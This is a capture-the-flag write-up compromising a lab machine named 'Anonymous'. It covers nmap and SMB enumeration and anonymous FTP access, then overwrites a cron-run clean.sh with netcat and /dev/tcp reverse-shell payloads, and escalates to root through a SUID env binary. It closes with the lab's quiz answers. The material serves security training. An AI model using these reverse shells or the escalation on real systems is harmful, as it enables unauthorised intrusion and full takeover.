

Anonymous



Box IP = 10.10.223.23

Nmap Scan

```
sudo nmap -sS -vv 10.10.223.23
```

```
Starting Nmap 7.80 ( https://nmap.org ) at 2020-12-13 09:15 EST
Initiating Ping Scan at 09:15
Scanning 10.10.223.23 [4 ports]
Completed Ping Scan at 09:15, 0.28s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 09:15
Completed Parallel DNS resolution of 1 host. at 09:15, 0.01s elapsed
Initiating SYN Stealth Scan at 09:15
Scanning 10.10.223.23 (10.10.223.23) [1000 ports]
Discovered open port 139/tcp on 10.10.223.23
Discovered open port 445/tcp on 10.10.223.23
Discovered open port 21/tcp on 10.10.223.23
Discovered open port 22/tcp on 10.10.223.23
Increasing send delay for 10.10.223.23 from 0 to 5 due to 201 out of 668 dropped probes since last increase.
Completed SYN Stealth Scan at 09:15, 19.26s elapsed (1000 total ports)
Nmap scan report for 10.10.223.23 (10.10.223.23)
Host is up, received echo-reply ttl 63 (0.15s latency).
Scanned at 2020-12-13 09:15:04 EST for 20s
Not shown: 996 closed ports
Reason: 996 resets
PORT      STATE SERVICE      REASON
21/tcp    open  ftp          syn-ack ttl 63
22/tcp    open  ssh          syn-ack ttl 63
139/tcp   open  netbios-ssn syn-ack ttl 63
445/tcp   open  microsoft-ds syn-ack ttl 63

Read data files from: /usr/bin/./share/nmap
Nmap done: 1 IP address (1 host up) scanned in 19.70 seconds
Raw packets sent: 1562 (68.704KB) | Rcvd: 1011 (40.444KB)
```

We can notice that we have ports **21, 22, 139 and 445 open**

We can start checking the services behind the ports.

smb enumeration

Since we have seen there is an smb service running on the machine, we will start enumerating from this service

we will use **enum4linux** tool to enumerate the smb service running

```
enum4linux -US 10.10.223.23
```

```
Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Sun Dec 13 09:24:02 2020

|-----|
| Target Information |
|-----|
Target ..... 10.10.223.23
RID Range ..... 500-550,1000-1050
Username ..... ''
Password ..... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none

|-----|
| Enumerating Workgroup/Domain on 10.10.223.23 |
|-----|
[+] Got domain/workgroup name: WORKGROUP

|-----|
| Session Check on 10.10.223.23 |
|-----|
[+] Server 10.10.223.23 allows sessions using username '', password ''

|-----|
| Getting domain SID for 10.10.223.23 |
|-----|
Domain Name: WORKGROUP
Domain Sid: (NULL SID)
[+] Can't determine if host is part of domain or part of a workgroup

|-----|
| Users on 10.10.223.23 |
|-----|
index: 0x1 RID: 0x3eb acb: 0x00000010 Account: namelessone Name: namelessone Desc:
user:[namelessone] rid:[0x3eb]

|-----|
| Share Enumeration on 10.10.223.23 |
|-----|

Sharename Type Comment
-----
print$ Disk Printer Drivers
pics Disk My SMB Share Directory for Pics
IPC$ IPC IPC Service (anonymous server (Samba, Ubuntu))
SMB1 disabled -- no workgroup available

[+] Attempting to map shares on 10.10.223.23
//10.10.223.23/print$ Mapping: DENIED, Listing: N/A
//10.10.223.23/pics Mapping: OK, Listing: OK
//10.10.223.23/IPC$ [E] Can't understand response:
NT_STATUS_OBJECT_NAME_NOT_FOUND listing \*
enum4linux complete on Sun Dec 13 09:24:26 2020
```

We can see that we have 1 user on the smb service called namelessone and we have 3 shares in total. There are 2 shares in the disk we are interested in.

In this case we can see that we can't access the print\$ shares but we can access the pics share. Let's see what this share contains ...

Using the following command we can connect to the share \

```
smbclient //10.10.223.23/pics
```

we are prompted for a password. We will ignore the password and press enter and voila we are in the shares

Issuing a simple ls command we can view the files in the share directory. In this case it is just two images

```
smb: \> ls
.                D          0   Sun May 17 07:11:34 2020
..               D          0   Wed May 13 21:59:10 2020
corgo2.jpg       N    42663  Mon May 11 20:43:42 2020
puppos.jpeg     N   265188 Mon May 11 20:43:42 2020

20508240 blocks of size 1024. 13306816 blocks available
```

by issuing `cd ..` commands we can not go up the directory so we have to work with what we have.

we can use steghide to see if we can get any information (hopefully) for a password access the ssh port on the machine.

first of all we need to download the images.

```
get cargo2.jpg
get puppos.jpeg
```

we are going to use a tool called steghide to try to extract any useful information the images may contain through steganography.

we can install steghide by issuing “`sudo apt-get install steghide`” command

```
steghide extract -sf cargo2.jpg
```

We can try issuing this command with no passphrase but we get nothing
We can issue the same thing with the name of the file and still get nothing in response.
try the same thing for the other photo but still nothing.
This seems like a rabbit hole.

Let's move on on the ftp server.

ftp enumeration & entry point

Starting with the ftp the first thing we need to check is if the server allows anonymous log ins.

to check this simply connect to the ftp server with the username anonymous and no password. If we get access denied then the server does not support anonymous log in

```
ftp 10.10.223.23

Connected to 10.10.223.23.
220 NamelessOne's FTP Server!
Name (10.10.223.23:(your-hostname)): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
```

We immediately get connected with anonymous account.

We can check for files

```
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxrwxrwx    2 111      113          4096 Jun 04  2020 scripts
226 Directory send OK.
```

entering this folder we can see the following files:

```
ftp> cd scripts
250 Directory successfully changed.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rwxr-xrwx    1 1000     1000          314 Jun 04  2020 clean.sh
-rw-rw-r--    1 1000     1000        2537 Dec 13 14:47 removed_files.log
-rw-r--r--    1 1000     1000         68 May 12  2020 to_do.txt
226 Directory send OK.
```

We can see there are 3 files.

There is a script that seems to perform a cleanup here and a log that its last modification was really recent. It is safe to assume by that that there is a cronjob scheduling the clean.sh every some period of time.

Opening the to_do.txt file we can see the context

"I really need to disable the anonymous login...it's really not safe" Well indeed its not...

By issuing another ls we can see that the script clean.sh is being called **every minute**.

Since we have write permissions on the clean.sh script that means that we can replace some code and hopefully get a reverse shell.

Let's have a look in this script

```
#!/bin/bash
tmp_files=0
echo $tmp_files
if [ $tmp_files=0 ]
then
    echo "Running cleanup script: nothing to delete" >> /var/ftp/scripts/removed_files.log
else
    for LINE in $tmp_files; do
        rm -rf /tmp/$LINE && echo "$(date) | Removed file /tmp/$LINE" >> /var/ftp/scripts/removed_files.log;done
    fi
```

This script definitely seems like our entry point.

Let's remove all the context and replace it with a nasty netcat connection back to us.

We will use the following script

```
#!/bin/bash
nc (your-ip) 4444 -e /bin/bash
```

and we will open a netcat listener to our machine

```
rllwrap nc -nlvp 4444
```

rllwrap is used to make our netcat shell interactive in a manner that we can use arrow keys to get older commands

We will go back to our ftp connection and simply put the new script to replace the old one.

```
ftp> put clean.sh
local: clean.sh remote: clean.sh
200 PORT command successful. Consider using PASV.
150 Ok to send data.
226 Transfer complete.
56 bytes sent in 0.00 secs (759.5486 kB/s)
```

We notice that we don't get a reverse shell with this script. Maybe netcat is not installed on the machine

Let's try a different script

```
#!/bin/bash
bash -i >& /dev/tcp/(your-ip)/4444 0>&1
```

and upload the script again.

Voila! we get our reverse shell after one minute of wait

```
bash: cannot set terminal process group (1500): Inappropriate ioctl for device
bash: no job control in this shell
namelessone@anonymous:~$
```

we can see that we are namelessone

We can issue the following command to get a more interactive shell

```
python -c "import pty; pty.spawn('/bin/bash');"
export TERM=xterm
```

and here is our first flag

```
namelessone@anonymous:~$ ls
ls
pics
user.txt
```

Let's look further in this machine to escalate privileges

Privilege Escalation

Now that we have access we need to view the root flag
In order to do that we need to escalate our privileges

Let's start with some common privilege escalation techniques.

We will try to figure out if there we have access to view or modify one of the files that contain the passwords. These are /etc/shadow and /etc/passwd

```
namelessone@anonymous:~$ ls -l /etc/passwd
ls -l /etc/passwd
-rw-r--r-- 1 root root 1631 May 14 2020 /etc/passwd
namelessone@anonymous:~$ ls -l /etc/shadow
ls -l /etc/shadow
-rw-r----- 1 root shadow 1056 Jun 4 2020 /etc/shadow
namelessone@anonymous:~$ █
```

The actual file that contains the password hashes is not readable to any other than root or sudoers and we don't actually have a password for namelessone to use sudo

So this technique is no good to us.

Let's try to find any rogue suid programs to abuse

We will issue the following command to view all the suid programs on the machine

```
namelesone@anonymous:~$ find / -perm -u-s 2>/dev/null
find / -perm -u-s 2>/dev/null
/snap/core/8268/bin/mount
/snap/core/8268/bin/ping
/snap/core/8268/bin/ping6
/snap/core/8268/bin/su
/snap/core/8268/bin/umount
/snap/core/8268/usr/bin/chfn
/snap/core/8268/usr/bin/chsh
/snap/core/8268/usr/bin/gpasswd
/snap/core/8268/usr/bin/newgrp
/snap/core/8268/usr/bin/passwd
/snap/core/8268/usr/bin/sudo
/snap/core/8268/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core/8268/usr/lib/openssh/ssh-keysign
/snap/core/8268/usr/lib/snapd/snap-confine
/snap/core/8268/usr/sbin/pppd
/snap/core/9066/bin/mount
/snap/core/9066/bin/ping
/snap/core/9066/bin/ping6
/snap/core/9066/bin/su
/snap/core/9066/bin/umount
/snap/core/9066/usr/bin/chfn
/snap/core/9066/usr/bin/chsh
/snap/core/9066/usr/bin/gpasswd
/snap/core/9066/usr/bin/newgrp
/snap/core/9066/usr/bin/passwd
/snap/core/9066/usr/bin/sudo
/snap/core/9066/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core/9066/usr/lib/openssh/ssh-keysign
/snap/core/9066/usr/lib/snapd/snap-confine
/snap/core/9066/usr/sbin/pppd
/bin/umount
/bin/fusermount
/bin/ping
/bin/mount
/bin/su
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/snapd/snap-confine
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/eject/dmccrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/bin/passwd
/usr/bin/env
/usr/bin/gpasswd
/usr/bin/newuidmap
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/newgidmap
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/traceroute6.iputils
/usr/bin/at
/usr/bin/pkexec
namelesone@anonymous:~$ █
```

We can detect a program that shouldn't have suid bit on and that is env located to /usr/bin/env

With a bit of research we can find out that the env program does not drop privileges when completed hence we can get a root shell from it.

```
/usr/bin/passwd  
/usr/bin/env  
/usr/bin/gpasswd
```

We are going to abuse this program to escalate our privileges
By issuing the following command we can gain ourselves a root shell

```
env /bin/bash -p
```

and Voila we are root!

```
namelessone@anonymous:~$ env /bin/bash -p  
env /bin/bash -p  
bash-4.4# whoami  
whoami  
root
```

and under our /root directory we can find our beloved root.txt flag

```
bash-4.4# ls  
ls  
root.txt  
bash-4.4#
```

Questions

Question 1:

How many ports are open on the machine ?

4

Question 2:

What service is running on port 21?

ftp

Question 3:

What service is running on ports 139 and 445?

smb

Question 4:

There's a share on the user's computer. What's it called?

pics

Question 5 & 6 ask for flags. Flags will not be disclosed in this writeup